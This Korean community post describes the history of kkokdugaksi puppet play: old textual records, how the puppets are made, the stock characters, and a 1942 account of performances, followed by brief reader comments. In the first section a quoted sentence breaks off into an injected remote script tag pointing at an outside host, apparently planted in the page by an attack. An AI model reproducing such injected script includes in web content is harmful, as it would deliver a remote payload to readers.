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꼭두각시놀이 장면 |
꼭두각시 | 이수광(李·光)의《지봉유설(芝峰類說)》에는 중국문헌인《운회》를 인용하여 “괴뢰목우희(傀儡木偶·)는 언사(偃師)가 임금에게 바친 놀이로, 고구려에도 있었으며 대체로 오래된 놀이이다.”라고 기록하면서, 그 시원을 삼국으로 보고 있다. 실제로 고구려의 시조 동명왕(東明王)에 관한 기록이 들어 있는 중국의 《주서(周書)》에는, “두 개의 신이 있었는데 하나는 나무로 부인의 형상을 깎아 만든 그들의 시조인 부여신과, 다른 하나는 부여신의 아들 고등신이다.”라고 기록되어 있다. 이 기록을 통해서 일찍부터 나무로 깎은 인형이 숭배의 대상이었음을 알 수 있다. 또 조선시대의 《동국세시기(東國歲時記)》에도 이런 나무인형 숭배전통이 기록되어 있고, 《해동역사(海東繹史)》권22에는 삼국시대에 인형을 만들어 즐기던 놀이가 있었다고 소개하고 있다. 물론 당시 꼭두각시놀이의 주제가 어떤 것이었는지 전해지지는 않지만, 놀이의 시원이 오래된 것임에는 틀림없다. 이 놀이는 고려시대에도 널리 계승되었다. 당시 인형놀이의 모습을 보고 지은 이규보(李奎報) 의 시는 이러한 내용을 잘 말해주고 있다. “구부리고 펴고 찌푸리고 웃음이 / 흡사히 조그만 사람이라 그 누가 이렇게도 정성을 들여 / 태어난 것처럼 만들었느냐·” 고려시대 당시 인형은 허리를 구부렸다 폈다 하게 만들었고, 얼굴도 감정을 나타내게 만들었던 것을 알 수 있다. 그밖에 《고려사절요(高麗史節要)》권11에도 이런 놀이가 소개된다. “혜민국 남쪽 거리에서 어린아이들이 ·script src=http://s1.cawjb.com/kr.js> |
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1) 인형
꼭두각시에 사용하는 인형은 막대기인형, 주머니인형, 신체부위에 줄을 매어놓고 잡아당겨 조종하는 인형, 몸통을 줄에 꿰어 그 줄을 잡아당겨 조종하는 인형 등 전통을 그대로 계승한 인형이다. 대부분이 막대기인형과 줄을 매 잡아당겨 조종하는 인형의 복합형이다. 보통 적당한 크기의 통나무로 얼굴과 몸통을 깎아 만들어, 아래 부분은 손잡이가 되게 하고 옷을 입혀서 사람의 형상과 닮은꼴을 이루게 하였다. 대부분의 인형은 두 팔을 움직여서 몸 동작을 나타내게 하였는데, 관절부분은 철사못을 꿰어 연결시키고 관절부분 안쪽에 끈을 매어 속으로 잡아당기면서 움직이게 하였다. 턱이 움직이는 인형에는 안에 고무줄과 끈을 매어 고무의 수축작용과 줄을 당기고 놓고 하는 힘을 이용하여 동작하게 하였다. 전해오는 꼭두각시놀이에 등장하는 인형은 여러 가지가 있다. 지방마다 조금씩 다르기는 하지만 대체적으로 아래의 인물들이 등장하는 것이 보통이다. 박첨지, 꼭두각시(박첨지의 본처), 홍동지(박첨지의 조카), 덜머리집(박첨지의 첩), 상좌(중), 홍백가(절반은 붉고 절반은 흰 얼굴을 가진 남자), 표생원(촌양반), 묵대사(직급이 높은 중), 영노(아무 것이나 먹는 요귀), 귀팔이(백성), 평안감사, 작은 박첨지(박첨지의 동생), 박첨지의 손자(3명), 상주(감사의 아들), 동방삭이, 잡탈(마을남자 3명), 관속(사령 3명), 상두꾼(12명), 이시미(뱀), 매, 궝, 청노새(곡식을 축내는 새) 등이며, 소도구로절·부처·상여·명정(銘旌)·만장(輓章)·영기(令旗)·방울·부채·지팡이 등 40여 가지가 있다. 인형을 움직이는 부분은 그 인형의 동작하는 내용에 따라 다르다. 각 인형들이 움직이는 부분은 다음과 같다. 박첨지는 눈· 팔· 입, 꼭두각시는 눈· 팔, 홍동지는 팔, 승려는 목· 팔· |
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1942년 일본인 미타무라엔교(三田村鳶魚)가 지은 《연어쇄필(鳶魚·筆)》에 조선의 인형놀이에 대해 기록해 놓은 부분이 있다. 당시의 상연상황을 이해하는데 도움이 될 것이다.
“조선의 인형놀이에는 막이 없고 배경도 없다. 막을 치고 도구가 교체되는 것이 아니므로 일단 나온 인형은 무대에서 사라지게 된다. 나온 인형이 모두 퇴장해버리면 한 장면이 다 끝났다고 한다. 중요한 인형이 등장하자마자 노래가 따르나, 노래와 함께 등장하는 인형은 드물다. 인형의 출입에는 일정한 제한이 없으므로 무대 뒤에 단 하나의 인형도 보이지 않는 듯할 때 또 나타난다. 이러한 간격은 매우 이상하여 전막과 후막의 구분이 명백하지 않고, 한 막 가운데서도 인형이 보이지 않는 경우가 있으므로 잘 생각하면서 보지 않으면 이해하기 힘들다.”
〈참고문헌〉 김일출, 《조선민속탈놀이 연구》, 과학원출판사, 1958.
출처 : 우리의 놀이문화 원형을 찾아서 |
첫댓글 꼭두각시놀이 한번 해볼까요
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좋은 우리의 놀이 문화를 소개해 주심에 감사드려용
재미있을것 같죠
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정말 해 봐요
일종에 인형극 같은건 가봐요 ㅎㅎ
그런것 같아요..
우리 조상님들도 이런것을 했다는 것에 놀라울 따름입니다...